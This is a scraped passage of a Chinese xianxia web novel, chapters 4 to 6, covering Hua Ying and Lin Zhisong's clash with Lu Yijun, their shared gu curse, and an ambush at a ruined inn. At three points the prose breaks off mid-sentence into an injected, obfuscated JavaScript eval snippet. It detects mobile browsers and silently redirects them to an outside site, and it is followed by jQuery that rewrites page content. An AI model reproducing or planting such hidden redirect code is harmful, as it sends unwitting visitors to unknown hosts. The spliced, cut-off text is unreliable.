为首的青年一身骄横张狂,头发微卷,身着黄衣,束袖的黑色护肘与衣摆上织入几根流光溢彩的银白丝线,勾勒出几朵嚣张的火焰纹。 手中的折扇收拢着,坠下点点碧绿幽蓝的莹辉。 跟随在身后的七人着青衣劲装,神色凶煞,不苟言笑。 在看清被破坏的机关塔和站在塔中的林之凇时,一行人的脸色明显一变,强行恢复镇定。 华盈不认识这乌泱泱一群人,但认得那把清风碧海扇。 执扇之人,烨都公子,陆逸君。 陆逸君直接无视名不见经传的华盈,只与林之凇对视,无论走到何处都改不掉的盛气凌人,霎时化作无比的厌恶。 面对这位从未交过手,却被陆家上下包括自己在内当作最强劲之敌的青要山少主,陆逸君满眼只写着四个字。 冤家路窄。 4. 第 4 章 借着沧海月珠的光芒,华盈没有错过陆逸君一行人脸上细微而丰富的表情。 机关塔肯定与他们有关。 确定了这一点,华盈也不急着在这两人明显不友好的眼神交锋中再细查机关塔,趁乱就要挣开木灵锁链转身离开。 身后的水流被一股力量牵引,一道水墙拔地而起,封死了她的去路,接着向左右两侧无边无际延伸。 看样子,连林之凇也打算一块拦了。 这道力量的主人正漫不经心地把玩着可以调动水之力的清风碧海扇,勾出恶劣的笑意盯着她与林之凇,纯粹想给林之凇以及他身边人找点麻烦,来出一出机关塔被破坏的恶气。 华盈缓缓散了积蓄在手腕上的灵力,心平气和地接受自己今天出门不顺,被卷入无妄之灾。 “机关塔是你烨都建造的?”林之凇站在湖底仰视水中的陆逸君,同是逍遥境修行者,气势却生生压住对方一头。 陆逸君眼中刚刚压下的风雨骤回,显然被他的语气激怒,猛然一握紧把玩在手的折扇,瞬行出现在他面前,距离不过咫尺。 烨都陆家与青要山等其他三家不同,经历过旁支夺权之乱,陆家死伤惨重,之后数百年里青黄不接,直到陆逸君出生。 他是整个烨都的希望,被陆家视为珍宝精心栽培,自小享用最上等的资源,在烨都拥有一切优先级,从来没有像林之凇他们那样,尝过与同龄人争输赢的滋味。 他顺风顺水,风光无限,骄傲恣意,敢把天踩在脚底。 绝不忍受被人伤及自尊。 “我还想问问机关塔是不是你破坏的。”陆逸君有些烦躁地哼了一声,吐出的气息极为阴冷暴戾,“林之凇,这里不是青要山,即便是你父亲在此,也不敢用这种语气质问我。” 林之凇语气平静,却听得出厌恶之意,说出的话毫不客气:“不止是我父亲,任何一个有理智的人都不会去惹一条控制不住脾气的疯狗。沧州的事务现在由我接管,我要毁什么,留什么,无需与任何人商议,倒是你,遮遮掩掩在水下建了机关塔,又不打招呼就率了人出现在这,是不是应该给我个解释。” 清风碧海扇的奇异辉光乍然迸发,蛮横地撕裂水流,薄而锋锐的扇骨又快又精准地划向林之凇的咽喉。 林之凇用力握住面前那只执扇的手,垂眸扫了扫险些刺破他皮肤的扇骨,讥嘲地看回陆逸君怒气冲冲的一双眼,冷冷提醒:“你想清楚,你能代表烨都与我在这里撕破脸面?” 陆逸君眼神闪了闪。 大陆千家百门林立,其中四大世家各自盘踞一方,难分高下。 四家互有侵吞之心,各自皆已筹谋布局上百年,可这些都是暗地里的事情,没有人愿意在明面上挑起不快,在一切尚未水到渠成之前,率先打破表明维系的和平。 莽撞地撕破脸面,意味着战事将起,一切的布防准备、利益与格局的重新划分牵扯甚广,不是小事。 陆逸君狠狠一闭眼,猛地甩开林之凇,往前走了几步,盯着被破开了一个口子的机关塔,平复心里的燥意。 塔里的阵法有蜃影幻术作掩,其上又有生死令护阵,他倒是不担心它会暴露在林之凇面前。 但今日让他发现了机关塔的存在,不给出个有说服力的解释,青要山的探究与质问将会源源不断。 沧州暴雨的真相,决不能被公之于众。 身后再度传来林之凇冷冷的追问:“作用。” 摆明了非要刨根问到底,否则就让所有人都耗在这,谁也别想走。 陆逸君心里骂了声晦气。 他猛然转过身去直面林之凇,一点就炸的暴躁脾气卷土重来,兴师问罪:“烨都为了防止荒墟的灾厄之力蔓延扩散,甚至席卷大陆,世代耗费了无数精力与钱财,这机关塔就是办法之一!荒墟的灾厄之力需得用水之力压制缓解,烨都本地二十二州的水之力根本不够,必须从大陆各地汲取,这是大陆各世家门派都允许的事情,怎么到了沧州,你就要例外?” 他说到最后,唇边挑衅的弧度越大,阴狠的目光像极了荒漠里纠缠不休的野狼:“林之凇,你在沧州指手画脚,星罗宫知道吗?同意了吗?” 林之凇只在意荒墟二字,盯着他的表情耐心追究真假:“塔里用生死令护着的阵法,是为了调控输送水之力?” 陆逸君一听他居然还察觉到了控改风雨之阵的存在,心里掀起一阵惊涛骇浪。 他面上分毫不显,轻蔑地昂昂下巴,反问:“你的成名技不是黄泉焰么?号称焚天毁地之火的拥有者,对控水类术法的感知难道还不敏锐?” 华盈默不作声听到现在,心里还真是佩服陆逸君良好的心理素质。 大陆无人不知,烨都的荒墟被灾厄之力破坏,环境恶劣到了极点,黑石遍地,岩浆纵横,火星尘屑与毒气弥漫空中,时刻还有扩散蔓延的趋势。 许多人都忘记了荒墟从前富庶繁茂的生命力。 那些强盛的世家门派对这片大陆充满征服与主宰的欲望,却也没忘记要保护它。为了协助烨都遏止荒墟的恶劣之势蔓延,大陆各地的势力的确提供了不少配合。 用荒墟作为借口,阵法真真假假的作用又被共通之处——“水”字连接,的确有机会从林之凇这里得到可以蒙混过关的信任。 水底安静了片刻。 林之凇没再看机关塔一眼:“走。” 这个字是对华盈说的。 木灵锁链突然从四面八方而来,杀气凝实,如云层中孕育的雷暴在众人头顶蓄势待发,在林之凇往水面而去的瞬间,朝着拦路的水墙轰然砸落。 对撞产生的轰然声响与剧烈摇晃感被华盈及时降下的结界拦截,不得往水上扩散。锁链与水墙同时消散,在水中下起了一场淅淅沥沥的大雨。 华盈跟在林之凇身旁,穿过这层雨幕,畅行无阻,未能看见下方的陆逸君盯着他们的背影扯出一个得逞的笑。 这场架他不能轻易打,但恶心人的事情却能做。 ——他心里真的极其不痛快。 “还以为能看见你们打一架。”华盈颇为遗憾地叹声气,泅水上岸,望见不远处的岸边有一队人撑着伞朝这边匆匆赶过来。 林之凇扭头投来一记疑惑的目光。 她看了看还缠着木灵锁链的双手,抬手擦擦脸上的水珠,一本正经地解释:“谁不爱看呼风唤雨的人们到底谁更胜一筹?” 林之凇一句话也没接,朝着对面的苍云息一行人走去,显然对在这件事上争一个高低输赢的兴趣不大。 这道冷然的背影落在华盈眼中,实在与她骨子里的狂妄十分相似。 她站在原地,看着匆匆赶来的一队人之中,有人为林之凇披衣撑伞,有人似乎正仔细又严谨地替他检查着什么伤势,有人绕着他上看下看絮絮叨叨个不停,有人无需指令便自觉走向她这只需要被带走的猎物。 众星拱月,一呼百应。 让她生出一丝羡慕和渴望。 这样的情绪在她小时候被江如晔接回江家的当天,见到衣着与气质皆华贵优雅,被人簇拥的江璧月的第一眼,就成了绝不会半途而废的目标。 而此刻化作一丝势在必得的笑,在她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怎么又是蛊?! 华盈最恨的东西之一就是蛊,小小的一只,像一截细长软绵的红色丝线,却在她身体里苏醒之后,传来同种令人猝不及防又惊慌失措的刺痛,从此让她变成憎恶之人手中毫无尊严与自由的刀。 传送阵没有得到她终止的命令,仍在继续将她送往计划好的落脚地,与青要山那些人的距离越来越远。 华盈被一股爆发在全身上下,令人难以忍耐的剧痛逼着她缓缓往地上蹲下,止不住地抽搐,神智几乎都要被这种痛苦摧垮,颤抖的右手忍了又忍,将紧握的瓷瓶狠狠摔在脚下,碎片迸溅。 她在疼痛与惊诧中快速回忆这是在哪里惹来的什么东西,想起浇落在她与林之凇身上的那场“大雨”。 隐于水中,因距离而发作。 是恨生蛊。 真会恶心人。 华盈深深阖眼,想起陆逸君那张骄横张狂的脸,想象到林之凇此刻也如她一样,被这一阵来源于距离的疼痛折磨得又恨又恼却束手无策,就觉得晦气。 恨生蛊发作迅猛,令人剧痛难忍,被折磨得暴躁发狂,又让同时中了蛊的二人互为解药,在蛊虫自然死亡的第三天之前,二人不能相隔太远,否则痛不欲生。 她抬手把一缕被冷汗浸湿在脸颊的发丝别在耳后,缓缓睁开眼。 没过多久,华盈面无表情出现在被林之凇接管的长青城城主府中,被满眼谢天谢地的苍云息等人团团围住。 5. 第 5 章 城主府的西北角有一座清幽雅致的二层小楼,青竹叠翠,红鲤曳尾。 林之凇率人入驻沧州之后,自己就住在这里。 楼外滴水的房檐下,神色静穆的修行者牢牢包围左右,具意境修行者的气息密密麻麻压下来,十步开外的飞鸟蚊虫也粉身碎骨。 一楼会客的花厅内,气氛严肃却古怪,几个崇阿军战士严阵以待守在一旁,苍云息抱胸环伺,目光来来回回逡巡坐在对面的华盈。 然而华盈恍若未觉,拧起炉子上烧好的热茶给自己斟了一杯,又落落大方地推给苍云息一杯,捧着茶慢慢喝。 暖意浸润下,缠绵四肢百骸的疼痛终于消失干净。 对面的苍云息清了清嗓子,审犯人一般,厉声:“叫什么名字?” “华盈。” 从小带着她逃亡的母亲叫她青青,是生命力坚韧旺盛又最终一定能撞开沙砾与顽石,沐浴在阳光下的青青草。 母亲死后,青青变成了仅自己知晓、一回想起来就会刺出眼泪的一根针。 华盈是她给自己取的代号,寓意为光明璀璨,所求圆满。 “哪里的人?” “家乡吗?我记不太清了,对那里不太熟悉,和家乡两个字没什么密不可分的感情。” 只想毁了江家的一切。 “我问的是你归属何处。” “我孤身一人,哪有什么门派所属,只是个杀手,没钱的时候就替人做一两单生意,讨口饭吃。有钱了,就去有山有水又新鲜的好地方住上一阵子——这次来沧州,可真不是时候,被困了半个多月了。” 华盈对苍云息有问必答,娓娓道来,又听得出真诚礼貌。 伸手不打笑脸人,让对方连用刑审讯的机会都没有。 苍云息对她这从容自然的举止看得啧啧称赞,指尖敲了敲桌面:“我说,你知不知道自己是来这做客的还是坐牢的?” 他无论样貌还是气质,都是潇洒率真的少年气,偏偏要用警告又不耐烦的凶巴巴模样对待华盈,反倒让她忍俊不禁。 华盈扭头看了看二楼紧闭的房门,林之凇一直没出来。 恨生蛊带来的痛苦随着距离的消除而自行消失,她已经感受不到了,林之凇定然也一样。 若是端着青要山少主的高架子迟迟不出来,用逼仄的静默来压迫她也就罢了,偏偏还派了人严实地把守在他门外。 只可能是他的确受了什么不得了的伤。 木灵锁链与恨生蛊,无形中加重了他身上不可泄露的伤势。 真有意思,林之凇会被什么东西坑成这样。 华盈不动声色地看回苍云息,身上从始至终都是温和好说话的安宁气息,让人觉得舒服。 她实在疑惑:“所以能不能告诉我,你家少主见了我就要抓,你们这上上下下也把我当敌人一样围着,到底是为了什么?我可对天发誓,从没杀过青要山的人。” 苍云息手背悠悠然碰了碰面前那杯茶,试了试温度。 修行者的境界从低到高分为启灵,铸脉,生界,具意,逍遥,无上。 传说灵血的拥有者突破无上境的几率和速度都超过常人,大陆已经连续两三百年都没有新的无上者诞生了,灵血显得至关重要。 而灵血的线索是秘密。 林之凇为了这个秘密,带着他们来到沧州,更是只有少数人才知道的事情,他岂能对华盈说。 苍云息换了个放松点的姿势,右肘撑在桌上,手掌托着下巴,连唬带吓地看着华盈:“兴许是你倒霉吧,他看你不顺眼,就想抓到面前来看看到底是哪里不顺眼,或者你自个儿去问他呗,我哪猜得着。现在你们中了恨生蛊,为了确保这三天里他别又疼得半死不活的,你自然要被我们看紧点。” 华盈点点头:“的确挺倒霉的。” 她顿了顿,扭头扫了眼门外整齐威严的人影,继续说:“这三日,我应该可以四处走走的吧,不会超过他身边一里远。” 这是恨生蛊允许的最大范围。 苍云息朝着楼上抬抬下巴,有些幸灾乐祸:“他恐怕不会答应。” 与此同时,华盈察觉到一道熟悉的目光穿过紧闭的雕花小窗,落在了她身上,那种沉寂的注视化作无形的压迫感,凛冽彻骨,如芒在背。 华盈没仰首去回应窗户背后若隐若现的那道人影,垂眸盯着手中缓缓转动的青瓷盏。 “我赌他会。”华盈弯弯眼睛,心平气和地同苍云息说,“我要用一条线索和他换。” 话音刚落,二楼的木门嘎吱声打开,华盈从苍云息的眼眸里果然看见一位白胡子医师拧着药箱轻声下楼。 苍云息脸上所有表情一收,立刻站起身来,与终于忍不住露出忧心的几名崇阿军战士一同迎了上去。 华盈听着医师与他们承诺“少主只是耗损了太多灵力”“没有牵动伤势”“恨生蛊真没法解,别让他二人离太远了就行”之类的话,转身看向二楼。 木梯转角边,林之凇站在一盏琉璃灯打下的融融暖色里,点漆黑瞳中也落了光,安静又灿烂。 他换了一身浅色衣裳,气质干净得像是从没沾过血,杀过人,跟外界形容的心狠手辣和冷酷残忍没半点关系。 可华盈想起他在水底不由分说就对她爆发出的杀招,瞄准猎物就势在必得的,极为傲慢的姿态,没意思地撇了下唇。 干净个鬼。 千家百门当中,掌生杀予夺之权的上位者,绝非善类。 林之凇任由她看,不动脑子也知道自己在她眼中被定义为怎样的危险。 正如他自己面对华盈此刻露出的温柔友好的笑靥,也不会像苍云息一样,几句话下来就敢对她放松警惕,认为她纯稚无害。 否则那一缕足够叫人心惊胆战的攻伐之力会立刻变成一击必杀的刃,叫他死不瞑目。 “林少主。”华盈率先开口,这次客气许多,不叫他的名字了,“你刚才应该都听见了,我来沧州,的确还有些别的事情要做,也要见一些人,耽误不得,还请你理解。” 她的适应能力极强,很快就接受了不得不在林之凇眼皮子底下生活三日的现实,索性直白抛出自己这些可以说出口的行动,让后续那些意料之中的监视如愿以偿,然后懈怠几分。 “线索。”林之凇仍站在楼上。 他开口时,拉着老医师问这问那的人们都安静下来,守在二楼门外的几人也自觉疾步下楼,帮着老医师拧起沉甸甸的药箱,送人出门了。 屋里安静得只能听见外面密集的雨声。 华盈站起身来面对他,温声细语:“陆逸君说你对控水的术法很敏感,那你能不能区分出调运水之力与控改风雨的差别?” 林之凇似乎已经往这个方向猜过了,没露出一丝惊讶,淡声回:“控改风雨是邪阵,非六名具意境及以上的修行者不能起阵。阵法结束之后,六人必死无疑,反噬殃及后辈。用它来制造一场水患毁了沧州,杀那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792523|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多百姓,牺牲太大,动机不足。” 具意境不是满地走的大白菜,放在青要山这种地方,也是需要被林家舍得用权位与大量资源供养的重要力量。 回来的路上,苍云息对水下发生的事情只听到一半,恨生蛊就发作了,但此刻的思路很快就能跟上他们。 苍云息举手,也提出异议:“沧州五城的作用非同小可,毁了它有什么好处?总不能是与星罗宫有仇又没本事抢走沧州的人下的黑手吧。 先不说记载邪阵的手札秘卷早在几百年前就被销毁得渣不剩,就说具意境修行者,哪怕死了一个都能让归属那方哭天抢地好些时日了。 就算是四大世家也舍不得拿出一个具意境来做牺牲。 这跟伤敌一万自损八千有什么区别? 华盈神色认真,坚持自己的思路,似分析又似提醒:“沧州大雨的第三日,星罗宫宫主陈胥强行出关,原因不明,随后又莫名失踪,尸体被人在水中发现。第五日,少宫主陈镜竹及众长老失踪。没记错的话,星罗宫恰好有六名具意境以上的长老。” “六名?”林之凇微微皱眉。 哪来的六名? 无论是修行者熟悉的群英榜上,还是那些顶级的世家门派为了对大陆各家了如指掌而费尽心思挖来的情报里,星罗宫的一群长老中,总共就只有三名具意境和一名逍遥境。 华盈见他终于不用那种“别说废话”的警告神色面对自己,苍云息也用带着怀疑的目光饶有兴味等待着听她要怎么编,不太好意思地抿唇笑了笑:“我在沧州待得无聊,去闯了一趟星罗宫,进过他们的禁地。” “禁地里关着两个具意境,被人用鲨骨鞭压制了境界,应该是星罗宫的罪人吧。我瞧那两根鲨骨鞭有些年头了,至少压了人家一百多年。” 林之凇蓦然想起许多年前闹得风风雨雨的一则八卦,说星罗宫曾经有两个妄悖人伦的人死于天谴。 谁知他们到底死没死。 华盈盯着他思索的神情,继续道:“鲨骨鞭断了之后,境界有恢复完好的可能,以前白衣门就有这种例子。” 林之凇抬眸,再度与她对视的目光透出几分危险。 华盈在他意味不明的注视下,平心静气地接着解释:“闯星罗宫真的只是因为无聊,我没拿他们的东西,也不杀人。” 苍云息张大的嘴巴终于合上,挑挑眉,真是好奇她哪来的自信坦然。 第二次保证没有杀什么人了。 说得就像她厉害到想定夺谁的生死,就一定能办到似的。 大陆各家可都没听说过有她这号人! 华盈说完,再度抬眸与林之凇对视,意思明显,知道的我都说了,信不信在你。 “让崇阿军去查。”林之凇对苍云息说道,顿了顿,补充,“顺便关心关心星罗宫失踪的那几位有没有什么消息。” 闻言,华盈心情愉悦地弯了弯眼睛。 又少了件麻烦事。 有人帮她打探陈镜竹的下落了。 “刚才我提的条件。”她笑眯眯地提醒他,不能吃一点暗亏。 林之凇没说话,取出自己的寸心简,抛给了她。 华盈伸手接住那片冰凉光滑的寸心简,反应了下,笑着朝他真心实意地道了声谢,在其中留下自己寸心简的铭文。 方便她出门太久找不到人时,通过寸心简发传文,问她的行踪。 这位青要山少主,讲道理的时候倒还像个人。 6. 第 6 章 华盈被讲道理的林之凇安排在一间小院子里住下,与他仅一墙之隔。 长满花藤的篱笆外,实力不俗的青要山修行者无声围守,与茫茫夜色融为一体。 华盈无所谓地别开目光,仰头,能看见淅沥沥的雨帘中,对面小楼里的灯火始终亮着。 华盈指腹无意识地摩挲着寸心简光亮如镜的表面,盯着楼上雕花窗里烛光的若有所思。 在水下时,还以为林之凇的强势无礼来源于自己恰好撞见了他的行踪,刚才多说了几句话,又觉得不像。 他不是脾气暴躁又随心所欲的陆逸君,对她出手,执意要抓到她,总有图谋。 下水找东西……华盈托着下巴的那只手放下,端了一杯水递来唇边,眼睫眨了眨,讶然。 他要找的,该不会正好就和她有关? 当然,也有可能就是苍云息说的那样,她比较倒霉,正好触了他霉头。 毕竟这位青要山少主阴晴不定的脾气不是空穴来风。 屋里烛火被风压弯,微光闪烁,灰蒙蒙湿漉漉的月色洒落在华盈身上,发间的雾月昙被月辉穿透,呈现出一种透明虚幻的美。 终于暴露出了一点不真实的线索。 “灵力具象的雾月昙?!” 苍云息听完,瞠目结舌。 雾月昙绝迹数百年,如今知道它名字的人都寥寥无几,更别提亲眼看见。 不对不对,重点应该是—— “虽说大多流派的术法皆由灵力具象,但那也只是瞬间爆发又瞬间散灭的事情,就算是你们这些人的绝技,若无实实在在的异宝奇兵加持,也持续不过一炷香的时间,她这个、这也太真了吧!” 苍云息实在被震撼得不轻,但他不会怀疑林之凇的判断,顺着这个思路摸索下去,良久,眼瞳猛然震缩,立刻危险地眯起了眼。 “惩天之体。”林之凇下了定论,他从椅子上直起身来,搭在椅圈上的手臂刚换了药,没让衣袖盖着,露出一道道被雷电击穿后的伤痕。 焦黑狰狞,惨不忍睹。 惩天之体的名号一出,苍云息倒吸一口凉气。 传说中攻伐力量属天下之最的惩天之体,可以将灵力具象为世间真实存在的任何一类武器。 谁若是能将它的力量发挥到极致,仅凭心念就能握灵力为神兵,无强不扫。 但它极容易失控,伤人伤己。 在上一个拥有惩天之体的修行者亲手屠戮全族,放火将自己也烧成灰烬的惨案传遍大陆之后,曾经有好长一段时间,它都被列为与邪器一样不能乱打主意的东西。 虽惹人无比眼红,却更受忌惮。 苍云息这下来了兴致,回忆起华盈令人觉得舒服自然的言谈举止,竟然瞧不出一丝这玩意会失控的端倪,忍不住啧了声。 “这就说得通了,雾月昙本就是用来杀人的玩意,可不是用来簪发观赏的花花草草。”他一拍脑门,恍然大悟,“难怪你让我把她好端端安置着,是怕这时候跟她打起来会输啊。” 林之凇朝他投去冷笑。 苍云息做了个封口的动作,拱手向他求饶,说正事:“能确定她就是咱们要找的人吗?” 林之凇没搭话,那就是不确定。 灵血用眼睛是看不出来的,若是其拥有者藏得严实,一丝气息也不泄露,外人用一辈子都找不出来。 预占术给的线索也有限,林之凇只是感觉她与这条线索有些瓜葛,但仅凭感觉是无法让他确定究竟是她知道灵血的下落,还是灵血就在她身上。 又或者这种感觉本身就是错的。 这三日,他需想办法验证清楚。 半晌,他说:“三日之后,带她回青要山,交给祖母。” 无上者会负责研究剥离灵血的办法。 传说灵血一旦离开主人的身体,就会失去作用,因此外人无法夺取。 但很多人都不信,包括他。 苍云息领了命,退下去之前,问:“华盈的身份,还要不要我派人去查?” 林之凇颔首,脑子里过了一遍细节,简单交代了几句。 苍云息问:“如果她与灵血没关系,三日之后,你打算让我怎么处理她?” 林之凇心中默念华盈的名字。 她聪明冷静,又知道不少事情。 “我亲自与她谈,肯不肯归顺青要山。“林之凇果决干脆,毫无怜惜,“若是不肯,趁着惩天之体的力量应该还没能被利用到极致,杀了。” 苍云息是支持的,她那么聪明,林之凇受伤的秘密应该瞒不过她,她要是有心往细处查,再声张出去,那就麻烦大了,整个青要山都不会放过她。 况且她年纪轻轻就能把木灵锁链当棉线一样轻轻松松挣开,能是什么省油的灯? 虽说惩天之体已经被修行者从危险应毁之物的榜单中剔除,但哪家都谈虎色变。 养虎为患四个字都不足以形容其潜在又不稳定的危险性。 但他又叹声气,盯着林之凇默念,这可难办,三日之后你的身体恢没恢复,杀不杀得了,难说。 夜已经深了,苍云息打了个呵欠,一拱手,往屋子外退了出去,瞥见林之凇从桌案堆积的卷牍中,拿出了一本。 没有要休息的意思。 沧州的雨还下着,调运物资,赈灾救济,安抚百姓,维护城中秩序等等,大大小小的事情太多太杂,没哪件不重要,都要他过细定夺。至于青要山中若是有一些必须经他手的事务,也有长老通过传送阵亲自送来这里。 林之凇的父亲早就不管林家和青要山的所有事了,他自己挑大梁。 灯火下,林之凇手臂上的那些伤疤也明显。 苍云息多看一眼都觉得不忍心,瞬间想起林之凇每次从十方雷域出来时的狼狈模样。 皮开肉绽,满身血污,大大小小的伤势虽不致命,却让人身心都倍受重创。 真惨。 苍云息一直都觉得林之凇惨,怎么就生在了青要山。 传说青要山十方雷域的降雷堪比传说中的灭神雷劫,没有谁敢接近那片漆黑死寂的水域,更无人知道十方雷域的恐怖究竟是什么样的。 但青要山林家的自己人太清楚了。 不知从什么时候起,十方雷域之下蕴含了灭世威能,一年会爆发两次动荡。 因此,林家历代家主除了要求实力顶尖,还必须掌控平危、惑心等可以安抚缓和甚至平定十方雷域的术法。 这些术法无法通过后天习得,只能以一种血淋淋的方式植入体内,与家主的身体大概率不契合,带来巨大的反噬,无形中消耗了青要山挑大梁的人。 其中对十方雷域最有效的,也正是在林家历代家主身上传承最久的术法,名为“去劫”。 因为反噬,每一次释放去劫的力量平息十方雷域,无异于是在耗费年寿。 神奇的是,林之凇与去劫十分契合,并没有什么相斥或反噬的迹象,仿佛冥冥中注定。 死是死不了了,但一年受苦两次依旧是板上钉钉的事情。 出来之后,差不多要虚弱一个多月。 按照惯例,林之凇这一月应该在青要山好好休养,但灵血的线索却在同一时间出来了,他就顾不了那么多。 苍云息摇头叹声气,想到烨都。 烨都也惨,本就还没从当年的内乱中彻底恢复过来,还要被荒墟拖累。 荒墟被灾厄之力侵袭,黑石遍地,岩浆纵横,火星尘屑与毒气弥漫空中,生灵死绝。 烨都至今不知灾厄之力究竟从何而来,为了遏止它扩散蔓延,日夜都得耗费大量的精力与钱财与之周旋。若非烨都底蕴雄厚,早已被灾厄之力彻底拖垮。 但陆家的人不要脸,拿着遏止荒墟的功绩到处宣扬,以此来博名声,抢资源,拉帮结派,走哪都把保护大陆生灵放在嘴边,又何尝不是一种威胁。 青要山却不能说。 谁能为了那点名声就把家主的致命弱点宣之于众? 还有同样陷在一堆烂摊子里的天武。 苍云息想到天武,某人给他造成巨大打击又轰隆隆炸得他头皮发麻,他甩了甩脑袋,打住。 如此看来,也就出生在北荒可能不那么要命。 苍云息最终也说不出什么早些休息的话,轻声退出房间,合上了门。 桌上的寸心简亮了一下。 林之凇没管。 他不怎么看寸心简。 涉及利益往来的要事急事,不会在寸心简上说。 既不重要,便不必浪费他时间分心。 但没过多久,寸心简的微微莹光又亮了一次。 半晌,林之凇处理完一本卷牍,放下笔,揉了揉眉心,再睁眼,余光扫过蒙着淡淡莹辉的寸心简,一只滑稽可爱的小人儿抬起短短的右腿,正要跨过一根横线代表的门槛。 这种生动诙谐的图案牵扯出了林之凇脑海深处的一些可谓经年隔世的记忆,他抓起寸心简看了看。 华盈。 「我要出门一趟,你的人一时半会可能也找不着我,为了不让他们为难,我先和你说」 许是没等到他的回应,她便默认自己客气礼貌的告知已经起到了作用,画了个开开心心出门的小人儿过来。 林之凇把寸心简倒扣在桌上,眸光垂向窗外楼下。 她已经出去好一会了,守在她院子外的人终于察觉了出来,一阵不算小的惊愕中,有人想办法追着她的气息而去。 不远。 醉逢楼的方向。 沧州雨势不见停,长青城受水患冲击的程度虽然比其余四城轻微许多,却也有不少屋宇在大雨中开裂倾塌,不能再住人。 与城主府隔了一条巷子的一家酒楼也被气势汹涌的暴雨削下半壁,楼体摇摇欲坠,不在用来作为收容难民的地方之内。 楼中昏暗,华盈踩着被水打湿的木梯往破损的二楼走去,脚下潮湿的木板发出嘎吱嘎吱的危险警告。 点在手里的烛火被一阵风压弯,死寂蔓延。 星罗宫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792524|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变故太蹊跷了,打了所有人一个措手不及。 华盈去雾岚河之前,临时改变传送阵,去过一趟星罗宫,只见到星罗宫被陈镜竹不知从哪里冒出来的远方亲戚给接管了,拥护者与反对者打成一片。 但用不了多久,星罗宫可能还来不及彻底四分五裂,就会被任何一股外来的强大势力给直接占了。 比如明天一觉睡醒可能就不想讲道理的那位青要山少主。 华盈没找到陈镜竹的一点消息。 他的失踪,让人自然而然往杀死他爹的凶手身上去猜,栽在那种人手里,凶多吉少。 要是其他人,失踪不见也就算了,偏偏他陈镜竹还欠着她一个很大的人情。 这个人情现在看上去还可以变化得更大,她很想要。 寸心简定然是联系不上了,华盈试了试陈镜竹给的心铃。 陈家本家最擅长的是音律,心铃是陈家人最神秘特殊的传讯之物,珍贵难得,不轻易给出,一旦响起,另一方即便相隔千万里,只要心脏还在跳动,也能接收到它传递的信息,给出回应。 可心铃竟然毫无回应。 难不成真死了? 华盈原本打算静候林之凇那边传来他死哪的消息,没想到就在日暮时分,心铃传来了回音: 子时三刻,醉逢楼一叙,事关紧急,感激不尽! 华盈以灵力护住快被吹灭的烛火,登上醉逢楼的最高层,那里的屋顶已经垮塌了大半,只剩下几块残破的木板遮挡着脚下同样破损腐朽的地面。 木板下的阴影中,站着两个人。 一胖一瘦,一男一女,左边苍老稳重,右边稚气冷脸,总之没一个和陈镜竹沾边。 华盈的脚步停在最后一道阶梯上,神色淡淡地看向那二人。 “盈姑娘就是我家少宫主找来的帮手?” 年长的男人上下打量她的样貌,浑浊的一双眼里似乎凝着泪,喉咙里发出沙哑而激动的声音。 他上前一步,朝华盈拱手,不顾辈分高低,“我叫李幕,这位是十长老红叶。少宫主重伤在身,我等如今被逼入绝境,可谓草木皆兵,不敢让他冒着风险亲自出面见姑娘,还请姑娘谅解。” 华盈站在原地,好看的眉皱了皱,神色严肃几分:“说说看,你们星罗宫发生什么事了?” 老者与少女对视一眼,皆重重叹气,闭了闭眼,激动的语调有些发颤:“星罗宫里关着的罪人逃出来了!他们杀了宫主,又对我们赶尽杀绝,追杀至今,不怕姑娘笑话,我们一众长老联手也只能逼退其中之一,如今一群人藏着躲着,实在是……实在耻辱!” 那一直抱着双臂撇着嘴的少女则是哼了声,直接大骂:“他们不过是手里多了一道生死令,有什么了不得的?有本事别借那玩意耀武耀威,上次我明明都能把他肩膀给卸下来了!再让我抓到破绽,我非得把那二人捶进雾岚河里喂鱼!” 华盈打断她:“挑重点说,陈镜竹现在怎么想的?” 老者与少女恭恭敬敬地朝华盈行了礼,沉声说:“少主想请盈姑娘出手,能杀二人之一也是幸事,大恩大德,星罗宫将奉上宫中至宝枯音琴以报。姑娘,最好今晚就随我们动手。” 诱惑不小。 “要我帮这个忙也可以,但,信物呢?”华盈伸出手,总不能不管不顾就跟着不认识的人走了。 老者早已准备周全,忙不迭打开珍灵戒,收藏了无数珍宝的戒指中迸发出五色灵光,一枚玉佩被灵力推动,朝华盈而来。 华盈抬手接下那只玉佩,垂眸细看,快要燃尽的微弱烛光照出玉佩上竹字的纹样,凹痕之中流动着属于其主人的力量,与心铃一致。 华盈心情放松几分。 耳畔灌来的大风突然忽然杀意昭然,身上缠上一段冰冷的无形之物。 她抬眸,方才毕恭毕敬的老者眼中杀意毕露。 灰白惨淡的月色突然变得冷硬,像是原本柔软的缎带竟然寸寸凝成冰霜,老者抬手,四面八方的月色朝着华盈涌去,凝固,天地似乎成了一只要困住她的冰雪棺材。 